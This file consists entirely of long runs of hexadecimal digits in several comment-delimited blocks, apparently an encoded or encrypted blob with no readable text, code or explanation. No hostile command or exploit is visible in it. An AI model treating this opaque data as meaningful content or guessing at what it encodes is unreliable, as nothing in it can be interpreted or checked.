e081b71fdd2d534b64542edb85824e6bf451cff73aacbf126a4f049632951992fb955ae4af5a0cb9b8411bca8df1ff0a0aaa9094a3794e146d7959fe8e95798fa6a955e9d8047824a2216620d719c45117ea4067480132e77cea3855d8cb4eeac8d813d8189e42ced71944a0574643ec760dd01e05ae230bf87598eaa40d52e3a4f0afcea7273b26c49384e085a2b5b5f0d0c61cd2cfa20bddae1c419b0b78d2f77851368dba1e47f64769de79b50e08f7bdb6f392a805ea1d49fe4b948d22946adfc1fd01334f93977aa972cbefe7fe052113c21495ff85709b4731a5cb31a280949e737efa6a35d1ada28c851b4daa1e7ce2ff33b2316242edfee1d6ead53ad49f0707f0338cba6aa091a4199bdd389a65ef11d010033ac22bd55764ccf91e2fc3e44234fff890444981abc74138831ed87bf1594e89c61245dc0dc08aa1da10a624d61a54aeb1689ff2bc71eeeca6a1d7368d5873ee0e645173263d1e22d217fc0612d5e5d5103f8fc380f49a42ee10bd744b2b44d42eeda771d2b40fbe15b4145f489d3b4d284e27e6865402528d8e3946c4856655988ab56af6c184756d6ccdbc1fe6279ec0*/
/*298f40a5e2e6a65293aec23b1453244f0a6f096f2fb9f83d6d4e9d2d4de8d6f4d6f28c78ad92db1b293c4e5092985cdb693f3bfb280a97163095b1324af2901fd7366d02ed9d715da58757e10bc31ce14efac8cff49c4a37944f682c5eb7764f46227b741e19fd5ec8c58118544fc5737cd500b13cccd6108aee362e4fd9b3b53734385d002bf06a9aa7dc8b01a78882cff26617e45d3c52ff43b364b443a52bb55276d85742a1261e1ea942b28f7c1a09dd45c11e2949be0253534fa2e55dacdcd61429d1cc10cc763ac747dbfe4b9429f3c929eb2ef9c8cdec0b9ae79f4bbbc0672859dcfdee6d1b064e6ca7fc832f4407581d5a9d6ce32faa3c6d77339ba3042f5938f39f92cc2e40246f7078262b0aa5e4113334e35772290e4f9b03dcc25f0040f89ae4acb086be40af0ae0e50af4ff6a86db5ccbf4d75552811a2a13a6537b5c65f34248086f9885bf25903ada5e47298121edcf0f90e9aa697d9eef94ce33f8692b66f8a4e192c413a511c4875c96dff9875fbbcbb1e921166da6cb02df27ed7b0d4ae41a6b5eec0d892a1b1e720465650c101055938a3711cac825394b749e79947c88bc75a116377c2f5df841da770882d05c60830caa9c6a42c7e014e98db534aa21109932326b5677215da12dc5943902db7610ade219b1a17b276fc05331f00f3f2d04f6610ec2df492e889169d8fb29bef9b68a733b0b22670a3f9b9e4f8d19a288dfd5b5c8988601f55c0dd4331afdcc5c4a0443024c67e2db21d78261cebb679211b1c8fcd9a682baf5486b410171f712f7847f3ba523fff18c7d5054ed786f348c5b7459af73579fc79b71fde18ce8cc79a7554f1c426a845be97fc02f56da957d502c8b3328f95c4233cec5cef78e5a3a73bfdf5e13cafbc2d3bf6b28edf55e9527f93ad3ae19610bbd0ffa64c74902bf6cbbc897da056bb10b600e838d0e72f2f8322498304e450ccd74e7f7d72c0e83e348b5588b56e996b8e3d1e48b0821b05b55007adfee7beb3b0101ba96d920b2b58add9a2852fcb1f4e27eb68126ab96204669487dc029161837bd041b0f4393535e6b4abea45ce67c964b257461ceb1de269797a4f5d0894b9d23b3599c6d1d5dfdc3397e388f12ec9386b54ecbfcfa3c9cf8fe2f713cdd1d91bc1fb814b6ae0e9d950f4679e0e42f7c37151d249109200ec6e8b3fb0c71ffc3c30a5539f7841766c7f2d3ee498f2c58acf8751d9a7c458818f419e171cf2f557e12f5a2de583d5c04920799c5c55ad91adb9762850971d4e9ea411f6dbba3e88b2ccd81da4ccbd1b9ea8e8e2bd1403dda3012a9ea0490541487f7669e2f3607791413f27810c41ad3b76c3168a86eb8310b0fb9c29945b5e8e82fc95a4b5e7b420f7d9d630316db7647cad1519777673bf3de39af5604290240ed25d409f320757ffbb9c6021ed03971d1e0a399867949e959cf265a351a572bd991a7c5c36faf6e0d18f11606b4ecc87d674e7c8c98e8bba1319b60fd9626488a3415ace46a4bc2dcd29d83b69ecb7241ea9d121098996c2b59e4158cae17f2cd3d2f8cd9dc9d9c50e1d6ba954e1761ec52455dbae791a6b53d5f4eba57978cf150375dae53cc2fb1843d1821cb82830d62684545e3ff3e817f64bb27013a064ac7e0f108e84657513ac41afb10addbbad212c284a1fedd8fd1949e3ac873ef537e48a6a338c124b647ac5e2169c028e60263811d259c45ff02d9f42d30f7595e32087bd9b5e8ec39039b711806c6012b3ca18f2c73650e1e58cc210c21d20495b73c603502a243dd086cd66b2b33b22c8428f8414b1fd94c35e33ad450ace0e390a7c03b9d81bbd904f3868daefc6ca5dc4861d0d2216feb25df0d3da116f732710b7479c4aba26551ee840e98ec36fc600d12dda346624bbb44a44008873d3440764febbfb05ee8c6a86b38e0385deaf0362ed159a8cfa43f86422fe3a021ae6ce29b016e30b1a4cc352bbe0a22aecfe0af143aee3abb78d4ed46a3db94ff204c73c362467dfd605ce6a383112bef85c768232e97a3ef3303a6b6fc81987313235c6aa9fb5266c5b43ac66a2c6489deec9b076c828d93ff341989bde347cead90c5f97afb31cf4e3031e8ab4472f8d644f2641b4bff24dcbd54c8df9cc6353f633da1cb62a790a64aca1d3316a462c33bf4743df610d918f40c77ad1656df3168047fccbb1e3ef355eb860d6e0e3f7b64d70af791aa3243fe1b8733b715d4910b3aaeda5ccc0274d6c9018b3d09fd8f38ecadb38c6c03fd01a4458c114f96a339f1b121c7ed45ad70727a595c20845ec5bf02e80cb7dcfeb20a3005772e908d7ab5d51cdbceb5ca0dc5f6403d31a48608213b7b493d6d1c054d2aa45828639ee93f2b9390a7f635565875cfee5e3c5942d26341bf486391ba280feb31d8e3a3a9cd4e3d15b4504c9757b89ac0f13e042223e5eb3641b8b22c7b5cf26d4c5fd5ceef7cfd86f8e6643fb7435c42b60c4da05bebb2dcf066620814e1cf9a3e82eb20ccbe1f9f440a52ba8ce73333927a16ef350cdd140a552c43a3d7f672ad5027f01272204ba602e1e6aaba55f062a6aaa41ef7140ce179eb599fcc972592d03a22528415bc1c14f4538f9d64cc33397e92266438df09cf778823fee681f313470a35cf4e5181829cf11f6d114add3439ca0df0ad678add8dee9271a0a53a11cd321e8c8ec64caca8fb60552c2bf9245ed3c54249fef98209c300d07285e069e8761107bdf1ed8bca5bc29d137281657059058073d376decdd49d0ea7ec92bf0c84648a9e23746e5dcd83d9331b2cfd218c979690149f5b6aa472d8eceb0e9922b961*/
/*c9526ec3e832d3fbee0251922a890ee89617fc189dc5852798b9eeaddeb128f77da9deac21361ce14ae53a5a4b768aca781a22c1fe58200f5b6b0dda09aa72515445b1c0e7f0bb5a4c1875df11b90aa7da549a5cc168c75fe3b43f1e8f6673628ba07ee8104be3b1c40a6200cdfaafdc3407db75dfbde173bdbd32c01e269d4eb9b0ccb76f36b264178449d8742834aa79236832abf4e7801da4debffd22f89c77549a1045fe884c55409b0f2b6ca3715c75e27ff446d9de9f8430408d0a447edebf6828d61cf498f526162b1ac5c8d3b402f32487c0f7487bf5660ed6a9395b49fc55b7807ba14987ea4ce6c7baadacc631351fb30acc36b0025387d8e7d9cbfd98329599a4d6b64ca306e767f6f2fb771785620ce13953955222ffd19d927f54f7df3f92e294ad124650a19b1c4c52dc2135f5835ebd8edc10e88a712c408a5a0b1993edb61a2ea4673b0ce32c81c7d7b371a6dff6e2222933f50ae669b4604f3edaf78e128a6e7cdd6049d32d8de6582f6b6813569ef31649d4856a65f6d4ffd773d7e2b26ecadc4864a39f98cc55002fa8ece238fa56c509833c36913858cf1a97c1d2de7293f240ae80a9ae0e9fb14c6815be56e37aaee1da35ceabddf0b1cf8fc5567e8106935086a890ef4a233d29ebabaf1af89ee1d7e2a14b2ae4ac3b19aa71bb497b52897af3ac2405bfb0da17d40242cf1a05745fa22562763e5679fe929bc06f70b721af02e1027204ec2f13b69ff33d2e53596811acdfd076d0fab03260ea70dabbf4a3bcfa84cf4fb7620001268232f5e05060566c7b3aa6c74676e5d76513b499522ea44c81ee2ba960ca966ebf0f98d4547bf8f22a6a1da138b733944e77d385963709b4b4499d3dfd52b5cbf5d5e61c9cd8e27b29dac7eb8f327b2f4cdb502c59bb5e4ee6c130fd533f11a714c36093fadcc81338aad766b827253e96baded8ff0c1ff37260e2dabe0cec272e18e6e669d97ec57e3d964735a54bade4871ffd8253a203323957eb8b85fca4a050e463ee36afe9fee55fb62f9ef23e8de6033afdc3c20659fa9390f838297d13269ec0dcd4140cf843d48bec8aab32bb27969378c294edaae61ae6fdaba92d4511ffb0192985d03fdf500034b1bcc4dca04a4c36814f015cb2ca61a3b4613676d2f7d35afffd83ccdf5200c55d075a562200ec5dfed46bb5572fb88164b9f1190a0b0f32168e20a2547f996f3e8a047e095fbad961cac8bdabe69f760c3c5dee4cb2f907114b3eb004f5405de3d0def41f98fa275c4d98594cad92ab6c5cdd161d52f53de79d2a4f72815ed5f7b4bcce96417a70ef1b2b7a2521860216a11be02153984fbee5cf3327ce7aa21438cea7676ca07d199d431e9e08989a6eb451e28395e96fbc7f2baafcdea1d88c131ee4201f9829b73847d089cd9530f15d1ab3bee50af02ce27da657f7e545e26785b8372cbf5843069e99a3cdb7d5cacd99632c2723d5dbc034113a1b7598ae397dd66aeaa35e04f25f4f6bb83acf24988d38b402f2a87446d29f09bc290aeeca7b9cc1f57f63d3a78888b038dd306ace631d17d6c19b2ea356be0bca200f02653cf172242afee0681af877b716233398ba517bf079cd56142707c2b96312aa71237a84e893e72b453558f44a8b2164b000eede16c8f4fd22aa0b2be9f180371b66e1926f07f8522ca228138df44d9080d1a56a89c68ae84ed0eecce12c3c57dcd69ede6dfd09ed184ed96446a3c9e0701cadad7abda8e7a93fde5a4883b2064ac1c4b042f040ce83ccfe363877ce1419de68dfc48b0e6ba2c7ad548f15e9b014ff6fd5a84c9299d175f1f955aa36fd2834bc9520282d2ef0bb5cdcef8086e16811305592851e13e8ca8a15dae24d2f5491476f0969fe45b0be74402e0996501b0fb219440d7c2d89906e1f3d28da8af33994aa2629f2c85693a5246620562fc1fabad518976775e5c091cf649f23479e46f92ce6145622487f474f42675f8ef1a0e0d0d4d6f1e7d2ec988f3878d64ae6a6009363fd1b9f66d71a21e4758d6e02b5f3f7add8cd10f1fa94dab3528a5a76739ca8d7ec0d82b4e83031067b32efff576d85df1c1a0ff7db6d13bac03f20ca39de4a356c6e98b0dfb808092645a93e9aecb76ffcac484c1ae453668bf780c79eb793a9f756d1ad698f39b26647f43a11cf3479c59120e954d065a31bbd7fae881a06ed63319398c0fe38d5b2d049b5121b0a033159937ea895d327815bfbf4559bc3100a4dde1a180b6ff60a887426cff8efe98d8fcded8e6625a34ac0751979a87ce7bbb787b0bee69a5c6f4a91f2f03a610b2c2264c1b3aee9ae931459bcfe2935b3d0cc5c9dee7dfe25b060a3e9b3243403e0cd2248e7ddb1203da6074f6120e1304ff00e2b7d64c9601abda8036474a809fd34bc647db9d4ac72e6000d5b82f594a55fad76ab512e1bd816abcecddd2a8a284b73787caab86be0fc0bf73583e0debcd8ed097954e15601c0fac2997dfb1de0c0c98011b16988272a305af7f140bdb170d3bdcdec868a3b854a72b3ff6af469e58deea2a010158101ddca0df3eadb46aa0b45665fdc616db3b315596b56e16468e305d6f8e35781d92622708208102a821781e714c1f50a8fc9dd38f052225bced2df3dd5ddaf8f392bb24d0cf5c2c13b17c61a30398e93c74c7c803de58fbefd7758e43cfb2c153350feaf3fbea768b6786d141ab02e216c1daa09af1a6cb425cb2ed7e64ba237fd6901072f9958a67042e1528347e722e64dd33a97a4cfe540de7e767a1c6c01cdde03174877841fc00e90a313bd23ab0b09cc9c95a4fef89afb7d857b6e7e97*/
/*37d5c529fd79b3206d046d73848d7143a56ced926d066659ab07f5c8c30af4e30ca9f171e2d725e294f6325b78f0a38ff962fbf0b25b3c0907120cb95f82fdcea014cc956c0e8a0534c822bdd3b2cd3a3520c69bb80af2a315152655669d890aecfbe6b0afee1b4d3a1169fe66b0064878709ff037a7b28ceeaffb1767f07f0a588f0b69f0b8c763066bcd28b90490945a08ad8008423e3d9af587f2bd907b31ea9d27cae5314382c185ae15b1cca589a1589b6031b4646d7d745fa7ffe269291eab6b6f4b6d441f46ab9159bad3a1fc3a739a50fa5ac2aac4bdb1cdd8744032067ce97c081b5f18615fe71c0efb34c4ee7c527c6430ddd80eba08ef6c75af979f72ce7b70fd14d10709781a8022a1618fa07d281a402a21d33709fdb2513fcf02c58817002c48229fb0dd95433a6b2f2e6d204ca5ca50fc29084ac953176f129b98ff0b19539b63b9384e398efbee999aac88bd2798e8b15b3cc0cd11d07e8f3af7aace8f2c67369a6d41ccbe9055227f59ce6f5116275916865cd0403a0b6134bca678423e435c10cab5320f8f9d5c3fce0c06ac2b489f84a203cbed210cb23962d016c1ff396c547eae025c381780d7edcb91da1a324ed28e05caa4c426493b93bc20f35dbed2a8a75267785f3e79ad5fa19895c9f3a5793d6d5769975e8f115ea5f4a3b8464f586b18d3ead0665ba7ad47fcd468545268efbbae90c948a0e8f61508d834b9ec998d30f72b0ffc08bb3fb318e6085775eafd04c54634c5b48a41c645531b5bd409dfa26e95849ea95017557f4286dc03ed08f7b2ec6603cea3a24bc7f4580aec087bb4d9cf6abd385794faaf35b69bda2170a35a68a28de2dd44ade967446b51d4ccc19f5f5650340b9d8ad43c9b34ee3a0a0f049141b9d2f90d7d1cc69355cd7f89210263bac84bf14cdd3d95d8f2cf60e76ebc87ef3b5c846cf8f4d33399285e0f540450d532cd86271a8ced444750cf296a335b915cdc35e66bb624b9fbacd2b7585df289390db6abb94b68228a5f71179c3e7dea26965350423c794d8579bafbea3db08e05f7137c32d832ec50faa9c8760b8407f1129b5b7d0ab00a447cea3151fb43af278c35ca532ded2ba02afbc58489b51afebb167877a1e4ff50d418a748687532a6de0a74edd90e16b7738689156e716a15eb4d69b6eab904746b3ad08264640f3b6b4585d72c89b2fc926714fdb01c679a585927be2fe05916066e9cd2a8dc446c42f3160acf98fea62e0bf658357347b730319fce98fe3ea4cd5294afa8e7caeebecdf865588bd1313a9de1a2d7f77d5ec8a0f3d2537d1916518c1d0258f17995680005610d6ff3d967bc8efe5bf312dd464a58b4b41967f5d59c16a7a3ecbcf9bf80f518766736d7893f3716601e5ecf1105f2dec14320d3b6b7dbf23f9562ec42bf1088fddd9b00d1d92e15c5442e3d115c70b3adf0e008450c1982c8540ca85730963a581418c7b606514da875669a108cd752180ac6dbce17fa8cf6d7ddacd9930f971c9253e9f6006b8bbc8307d0f3c67d22e7f737469e0a1dec47d8ae0b399a00d45d88e3b5758b7c364364194cc194b030b44c555eb34b4ba484544ebf8d9e72315318af47730f37654ed376acd05576f3f492a4f1970ac9f764339670b7e8e85fc6e9b682b36cbfef141fa0b72490ae3c9f5532a0b3980b5b085339e932b7dd60780ca160cb962c3e10ed24ad3bf983fdfbcf98c33813a1fdd8861af448466daeb974b3b25cf8671bf85a8659bc255731cc99b1045871c055bd9e633725a81b24062ce692e3234c6ef33a53c0be9372ac36714bfe5f14f1c46b1bcbf0fea15c006a7557145e339c3eb328487a92ade4f41feb994c8da91f3fea9fe36705ea1640da0b355b0727581c150f8cb4e64af43e3081c9fbd866106fdb7a17250d80be5cb319b7b05043a73df707413a9dd09bcc2072301ad7d29c64c1db28ad723c1124ab102a9ea156c04f4b8ff17181000e1f9ba79aec7b1bf176f95ace5755176cad59477a677030b6cfff8ec78127e02d59fb2e0fa7e89da47f61d3e58cacdb0e714d29b512724641ed07f89d6071d686d8e3e173af910b36d5d7b094bcf669a948c8f2f9bb730d240d92c582c98ba5d787f7bcc0a04731cc431ed0c0a8e8d50639614d8690bede3cbae82a91237da47fcfeff05d87e149ca8b1b2f7644c259dbff69c516c73cda278ed65d1c2cf79f3107ab29758e716aee403b4e47db2863ec1eedb4fc1750b0e2e1828b844a0da3f1af89b926ff063b276f1987d3b65eaad189fb35b9b561ee999b1275d0e78de9ec654cf6e68924bc4393feec228928f259d544f748803a22168cea39101de75bad2ceb07c166df70e17cd53d8a4291126b6c2b99a57fd004815c63f5f108052b0e1644edbcc7aaed12e4fbd8f38341878bc857a27ce4214318a92503626be96c68e6907d9b57e718494638c5bdfab27a94992ecd4bd716e475c96a93948b175c5cb1713ea33bb2a66fcb027b8337a67b7a837c3a20a2699076d8d91c508d2ae37e2c5db93ec69beeaad09d44c9ae78663e157faa6205b8663628c22cd3f7763b43034ab538a8dbe935fedd34384f5103c6a0047eec46ddd9a11fa6bc967c4493537e8e0f5c81a245274d412290dc9531191538eccc0828afca89dd54585121374b64a69a765a0ef3455546d442ed6114d3d86fec06637b9e5471cc9ed308e4fbe71592957db2313e64766287754bb821d6447e9d350693d36b6cc5baf18237366009aa0f8df82765f9a67f466682b66b6691599308a76736e69dbb0a9c9e779b8c58a3d9c4f7938be6d162293896af*/
/*f9156721ca3e1ad5edc2111c43fc0254c67a34e2a3c2ff2549946fe9303d482ffa57295a12a3244c201b47da45a9e219e484d440f821c08b03c92ca8e132e1436b2f363f8e4794be0744bbc7430c5e8db92534b39adbaae9cda99a5399e6134697dab5bc46966fce6373654a0230927a35130ec2baee931dac14ea7a9a8f6bec0dd7457fed6d6094f9f4e2118eae173df0a2762b362bffdd6fa5dd92268b7aeb280e9159a324185aba94ca705dec94ad2df8f59d8b1ff309d0d16a0fecd4375925dca7dba7481061cbda3dc3ab997d30c60822f75b9a19646451c1729027634e38b7a88d6637e6588720791616638cdb1ff0fc625a3b0e30148b623ff4145e12a423785110a3d3280d83c21bd73c3c96cfb07fbdded2353b8f2f3d0e9fdacf6bb0b28bfdda2b256382c8f891b03358a1674849db71a3e138d9bc0aa33f282fabc52d34d4bfcbfecc22f5628bae6b535fe8c0c4d519b8b25025e94fce3f5f12bd9bfc4317a40f67be2d22685e7d9c77a7b5f2eccdc72776d670c0fb0449b3c4b8a199ad4009811aaa3971a94966ea02db40ff5e387416b1e772f26adcaac8e1aba35e77122b067100ffc70998b1424053b0ce1304be312a0cebc1206578d942d766d2af2e87ae5f9c20d44b87d29301e4de4b3676babb7ac130ac0960f4ba359e42bcc867cfb97951fbbeb1c69a785d64f71516bc824d721d9022e44a59b6bce00e6f465cf13c8b8049c051750e630114fa20f9322f46c92d0ed1e27d650133b0da7e9f426999bdf4dbc1aac28bcb98c4823b278681d60a7fe4cc057ae1ded7f03ad0ff9bde6b77b2afdf3d520dccaefa3957b9e258f7479150a0046c32946f101bd8718f7b63e880eed3e4d0b08b04320b707a6621ff7da3ae8d78ab6f85aadc25c9aa2ddb738f260498020cac8b43133fd37d45a64d806eaac9cd9964d0c3133c2c40c251c34aa6e1b23b6e3fb8d0bc06229508749baa171efcdc24d0fe9b60c100806ade071e54775ed098ef252e4afc87d0e78f82c932ee1006c4a3169a02b7678ece2ec76e06ff9c7e8af913877a7fc559c3eccffc3946a66f06b72c6dad05c3d4080030eefd1c287bed5e80b12a3628e5b678e9d316f5aa2a9274da1550eeb0fde3f0c27f23af0cd63157fef7268b6210a138fcf53098bc649cc2203e60eae0b6a78de54d42ddcb492c3fd4b2f733785740f3f8313a1c16f644a4ba16fc414c0f093001031ddbe65f28fd4e712256f398bad126b2efa91b5f94dced36ce5499bc0654b8dbeec5537284d4c474d2a9eedc7392982aae2ecbe35191e48d53fe523582eabb3eb874519c099ce06645cc17c9b42a3dfe71bce6aa43dd1b0f7fb166c28e42edc2e64d71d7c08d2c6920e8683cf30a2b9565d285965b1ceb7065da6db88b14ebc2a2f2ee091ce2705511301da5e6393c8d0904acd5142e9ea5afb7d6856b185b1a444b275642b65c632fc7ba076a2410cecd39909bd45a8dae1dabffec577791e5d9e959050e2a297876d17a0e0de5af567e7eccaaf200aa85b16f7f9af7d2d47de2b7daf6ff2294c3a5c2710f16b6b4e833a66e094a3071a6daf44a6d9150737860cf79a4575caa926b92774c78017e04c8f7c67afccf0a655cbbdcc806aeb06fc1a01fffc57de8bc1162dc27b6e766de680796df2b3493bb42df2f9efceb3892c6452dc68a72a529d8aac0c307fdc6939aac6d83b888c89079bd78973cfe40fe804e6a473100ab3dba664a218e806372eb7c682f6571f497ca79adae53982ac227740afdbfe977b87f39e2f7e1cb3f8126ec78de2ff842d6e252ef24a5622c80f0dbfe13c49841d4e23b000688502cbca63968f7463088e57caa270e7923d60cc969f6e3a13965cf73dcc6967906e3689a8b531b09b506f4c502f9e54e6037e034e41a760cbf68faddf45c894e2c8db3c809dc3d58b1db2ec304c69d5714d25838d06cb5c3408f1b299c04a5aa20ec6cd8dea99b5d781ac91ab47b7f97d279ff53b4296a18c47508b4a7eff2da5c46d9f8a73f0165a5f7f4c5fd5a6c07cd6f7eecdc0f4d710951fc6b8785eb9d5ac4229afbc73dff9800ebb80cd9d3030a267008b69fcb603dba8f01ac7f58f68c555cbea5a555febddce6e81c927ce9932438af46143f0425d2a656b8df7d43df68fdee80bb5f5ac2a476b5617238e51c49d29bae24b9b7ea882ac04740a18c71d94a34b29d916c554911370070b5e9333ea4ead250924ad86b5cdb6c392419e75059d6dd997c2b4c2cfbeff8f29f1d552e360dbe3777d594e6e776fa6ad2a05f95103173f868bb5beb4562ce2ae23172b5941ff6504359a93f75918dc13f6fcface7e8bf74996bd8c2496dd3274cfefdfd5dd6fc0fde9277cad03399568cf20d14c4b387d82bd928bdf3be0c88798b641341354e90d560cc0d84d6069dc0ed603ca6ff8e5c9b8d48a5b767dbede4483539b89f6047b3cfce3ad99f09898341b3fc5d4b98ee577eeafc329ffef29a6c11782a6e2ccbc32df7c18b471fca9a5d73f5666ec48d0ba09de843ef6bb90f307d6e8f0ab8d42865f2e1cc8d37476573d51e396f5a41cb08039241f000f366e4ab79e90ff9ae328cee0024b6f67b0a148637ac1c17d6b5537478095064042d34dfee2267dcc786c0fd4c3b48ba3d781dbd28fa62015395ccbeaf4cfe32a728e6c231a04d72697b535a6801adb37098217a74501fee10498568b9de5b0165c7d97ed01e90ed264a0a038d80a88f81f4028d3d757f6af54a788573ba3386b205ef4b1dfa6cca5bff5d4096779ec371c300f91a9eab825189ec644b3ac8844b8bf58e070417a808778c61e08764*/
/*48611fd7bb1784b5e7eb5b1e9da2e7da95d77eac87d140b6e5674a1942b3f80ec24be60e88ed4c5be156b812a8c96ed98da291f82ba24df525ece1d5458fad5d7157e0a9fc5c435523d21e3cfa70fb76ce2beebb7a0023fda0b5742be60a397b04cd5035a3192929b7fba38bba94e9214b1d865cca8b21d1a3f0d5930579384b815a19ade02049348e3aa6545e8dca0574d2e6d634804ec698707a4f27c995c159d347ec1291f50d7db45ea06fe29ed75abb7af47c5cb71ed0ec734f42a0d526d6bcf9c2394350646c228afd17b2920c76dadf4bcfdb85beb071d5cafdbcf3349d301adb9385485b6ea4270149573ca361456618371125db198f9cbe226e16c835c0f2b944b1ae74d334cd49e6777417ab480897efbd614fc68a0b6d23dfab0da10b628482512e8d0e994847b39abaacb1b0563f355c7bd816b2c4c6f94e5bef2fd1a623e44ba3194a1b2f7a0046ba62bafc5398acdd98a8db2de6765aea8a417188e832f0a8f7c1f44d62a682a05e911333e7c8d01f93340ead41f9ccf79a89a9683836b25cf05f06b262e70f712319238980de194b2d29f47d3d16f931756fda3088f7188f19a95420e2fb85b20e614b64fa82b285b4113c61e76c8340e553bd240c40186639800b74b2f7f982b437d8c4396d9c0b867730e1e364d766f3a2ea82d0ff8c6fb1bb219fa414adc8442bc8a46b3af12f3fd7da8e30a4994573ffa68f8254c7b4d16eec66076c84e85e1aeefeb78c45aa98d2682c099ba3284ad07a2f4a56231e2ef9261209cda6225c15f159d3d6acf4a712940f419648c30fbf62a19030c23988b6b62bf7ae7e9fdaea44980ba1f124ea56f4fbf03d6e5780f6bc4b98603058afe73a0ced138ff456539dc29aadc9f1f882a9cb87377f54928358cb9484a6bdc5742a0ec506e44c0aaaf969992ba4133604ab1af780ea661322f058525335a3a95c3f86cd5a48ce729929c7f0b68d03e0fe3ce58b7f8bee796cf76a8b20fe92077304a7970626659d67b300a88faccf65bf05edc50f33b19bd8150156b0bbe365ede052ba995d584740c95d39f063edd7b4e03d9c77baebd6674e1629874ba69b4a66fbb13caba4088722ac92b25a9e154d4bce1b29acbbc61a5097b00ffcb040dd6e593fc198264d7864426ac5089b255e3dd5a33b99802b319bfe535b93287fd6cd9189c473822fd4d7dc559cc81720d3628da4fa2de090859f2309034da012d89548520f7f91764633d917ddc439a9d0463eaa622d9819d9fe386aec5e699b572934271b8033992df9f5982c57bf76544c37bd613af25eaba573f25bfe65a92c48a4364f026d19b07312cc5d08ce82efd3e91eb60eaef7f6b2312505ac3f32edfde5207096f15729c5f655dee67d8bb06732f6809f550281aaa644049af647b61ea3125f7d2a068d87fb71811977df4cd91cea0badd929d0c968085245862c841a633c069344a975ea701e54a8e8d7f210e45b48b550512c2820c9296ba791a47df95ceeb9637ee62c78901bd5d9af616af4ebfef26e2c103de1def0b5e423076ca02c27b3af2c1c85b94900a29244d5a7e027ff46e77d7a772944a8d39b55a46f1730d435e12478d35d8d2e3f8cf2ab54030c01283c8e78f8039a66a6a27f59bc4c596729e9c941088161fbb325cbee8f8a4e779cfd89f62ebd7a3560e7bb71bc95fbfaf2a1890a30412d1d80c12e33d40a17985136efceac20d7d82dbf07bc06fccb1122f476ee2791908c3b8852d86c3a4fe1174de10750337fee42f91f3fbe76131e773c3f72563c850856f9776a49a324c5cbd7e86c889983b0536f6afe660227f4364686f1d463658f380e02722e8670f2db77c2a6c9175f302ae5f75ab337ed52a4649e1e8fa7898ef3bbb62427b7a9849d3a9a82757a1f84b3318d4a04909d1905bbe12ab9577c16efcc4abad470763f10d085c32dc84d2fec08997a599aa3a58b2fee53b16dd42900d42975e84be0535bb79c333de1616c23436389a4a07a05cf1007d61f6ab02e0779dff88f13e4692b6254f7b0c0a66a21ff4f47c60ba391419182dfa4e36c7fa8add6e71cd15b2c35a068ffebd3bfce9ba924ec40b4a00c5ac6880f4930dd3deef88024fa999c35bdcd05960bbb112bde3e45d6f70993a515d4b40742a9ca0dfc848f0740837debc3d5e397b401751f942858c772ed98b64b3ad5d4637318ca1a7b125a0901cbe1245686d30eb5035682b573f40db56096ed69bb1e6df1db61042dc817c7cfac63fd21a89fa87c318fed9022727e007d5a2a97ae933322c8b7ac2c732927fad5577826c8df2f646baba747f15e8e67cefcd57fc6b15070c540e1adf5b53b18e85e4f66fa9fd9112e971798d797381e820d6cfa62bff63322bf78729dd05122f39fd5d8c9b0c1b1683ece13287a6d68cbe1cdcf994001c3b51a5a659e08601519698f8523cf03f6232c14ea4eddb30cda40337cd588d613ae466b992152c93301f9ff80009390b894bb4f91526f58b4575f46ecbbcdbf5979b94493e6a496783a80834a4f81896f7ea541d979b3a4d83d437c3403fe8bce1286bd365524e42d3488b7596d776b8a6c8b76227316ffd0e7dfc1130d010c83adc942064a5b518ebb33bc6f3f94306a3f0110f5c25e88034c71948b581920ec5bdb2f4b395623058c44860e3ad85044bae4f3eed63d57a23b23452b45564cef937f2875d0094f65800874f05221c401aadeecc19b02885ce8b76d81773d16352acde495d4288248acb9079c15c0b4002bbe89c89d8baca13add760df10b3a12e1856ff0947059b51ace3a44fd79f924cfb50e35a2c99a005df476e6f2af*/
/*7f41a3f895f5ff14cf81d12c09ddf7e06873c4180e26eb566e1a91eb97bdda442a3cbf10b4321d811a90ef3d3c1a44c19ca1b16e1cf6d60893e4f7f3be353d769c63e4915b6c7fe4ae8144847e3ec39322d618792ee76d2ab15937e4cac2c6e02c1b57bb09401cf6511603dc0fa6405688107473695a8a79c340e762407ce2dfe2415f8d45e168cbbca0ff424006cdbd525627b9372ae2497edfb1e0c88fb84a716076ddaa858c0fb605d46c63f44e5d4ecb600a43965e29686e2749f20022f01c775dbc4391b996cc331ed62ba6565845db7bf40b58ee29f2512fd8c66cc216d5234bfa629f7b7a30ccafd3eeccfc5feb8c0a7640fd60264b2be49d023d7e4b73d4818e3587911072ab849c5ec20c3f34be21ca24a6c0788d290c0a15969c07d8f449a6b2e6ee2dabdc78bbd8f36c20cebd5d004a51f8ff35ff4548556bc730616cd57da2e29b2314ce7d90575bc03e354cfbc6ee989281f09c3af647b6542c5f8c4bc45752d6e2aae8b998ab322a599d47604ed9e05aa659ea850d913c6e4caeb3754ae9c4a91a2d38fe124217a633ba168e1aef86a5c68016a00d21b44f9f6716e042014aa070077ee13fc3cd39fad65413e81e4dbbc3924c4eb71dcfb54d03b5a7c7d0fad5ff9d7d44273ba4260f188a39fd1cde80073d300d087849edd8d32ec8d218e00c2951db5484446e38b7d7b143f089fd6fc63c263c8b4dd7378af928573969c43d7da95671e7b40a8fe7f955579d97e740fb2dd9ac155b2d75f9bc7cec73e04fb9fb6ccef8c31aa6e6aa0c6e1d4443c08b5f0b12ee45576b8d2a2df12ba5055443ea5fe4e197a6a49e1c9b5c1577e7f6681080082ec06f2094b6fe4e01a0a94c1669caf0997c44aaa05a20d19c464627bff32f9820abd634377d1e3bf285de6c9419c67cea4ccb995a115431993331509463f6238c1ff2de629432c598376879363383b963ee911214701eb8f197ce949d6dcc1cab08c9ced4c51c78e2d1511f6f8be00104866ec8af25459237d8d4d4051ccd4981f73fecf985e325202a417c33e6a1bb748b1486ef310c6e72a2a6442bf2642800bb2342aa714f095f8329561aca5f0d53235c42aedb6a5854edc119373990c8c68f78e0582d7592857c009c620aa155dd294e9f3aefa5dccd02dea4930c7642aa4a83f2cd5ccda0e99674cb6bcaa00cda177a89fa90de5817e4c48f6920edf7409aef22caa7e6fc8d5d5b78a5753bc328718ebb3144dd9f6e216356bfa374f5866512b7ef5ae99914ff1e7767d1d3214246d49cf1e4248855a48db8dc4e793b4fc3b9b1422ca8f194e35c84ddca34dd29c7430071c52f6b074e987d80af5880f8c133e51f11c62bee5daa25f26264cd26f85fb0ebf6c381d5b52b961b5bde72b6d8e882fb0dc47f0e6ee7b5c037bb69425389dd5f81f1210a189c3a46a62860c3e05a884142ebe602d69d2810b5ffbdbf6a57074dcdcb3d965b726e3346345edad4990f